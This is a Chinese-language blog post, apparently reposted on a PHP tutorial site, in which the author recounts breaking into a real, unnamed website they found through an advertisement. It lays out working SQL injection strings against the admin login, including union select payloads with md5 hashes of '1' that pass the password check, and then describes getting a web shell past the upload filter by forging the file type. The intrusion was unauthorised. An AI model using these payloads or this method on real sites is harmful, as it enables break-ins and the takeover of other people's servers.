好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

后台另类注入 - 网站安全 - 自学php

今晚看新闻的时候看一个广告,然后就点到了一个站了....

然后就你懂的,然后就开始日它了

 前台啥的注入就没有了,前面一堆过程我就省略了...

直接跳后台

很简单的后台,随便测试了下,如图,假设我们输入admin 密码随便输的话,则出现

如果输入admin'呢?

 

有点意思吧,这也是明显的注入了....可是怎么利用这个注入点就是个问题了? 用havij ? paglon? sqlmap?

这里有验证码吧,但是这个验证码通过后台发现发现没啥用......sqlmap也注入不出来.....

只能手工.....想想怎么利用呢?

他这个过程大家知道是怎么来处理的吗?

他是先从 数据库 里面与用户名比较,如果相同,然后就取出密码与输入的密码比对,然后校验,如果相同,则判断登陆成功....

有了这个过程,我们就可以判断了

admin' order by 10#

然后我们就可以联合查询了....

admin' and 1=2 union select 1,2,3,4#

 

提示密码错误

看来前面的语句正确了

我们可以将前面的语句变为这样子

admin' and 1=2 union select 1,1,1,1#

这样子是不是验证通过呢??

可是验证一下不行

你想想,你输入的密码一般会md5 加密 吧,从数据库里面提取出密码也是md5加密的吧!

所以我们这里1,1,1,1都要md5一次.....

我们试试...

我们修改成admin' and 1=2 union select c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b#

然后密码处输1 HdhCmsTest2cto测试数据

这样是不是通过了呢?

我们验证下

尼玛,居然提示用户名不存在,这是怎么回事???难道前面不成立么?

基友们,你们能想清楚这是怎么回事么?

我测试给大家看

 

这里通过了,如果我们修改一个字段试试,就将12修改成a 看会发生什么?

 

他会报错....

所以知道了吧,这个就不要我解释了吧,我们需要加上单引号了啦....

我们测试下

 

 

所以.....

我们前面的就可以修改了,对吧

我们可以修改成这样...

用户名输入 

admin' and 1=2 union select 'c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b'#

然后我们看发生什么....

呵呵

射进去了吧!

 

然后后台很简陋

有一个上传的地方....

不能直接上传shell

只能上传gif和flash

测试了下,发现只验证文件类型,欺骗下,修改下数据包,get一个shell

就这样到手了....

 

不过最后结尾我想和大家讨论一个问题?

 

 

为什么在 mysql 中会存在dual这个表? 这不是oracle的吗? 我之前测试的时候我还以为是oracle了....

但确实在这个数据库中不存在dual这个表啊....可是他却成立,希望能大神能告知小菜....

查看更多关于后台另类注入 - 网站安全 - 自学php的详细内容...

  阅读:39次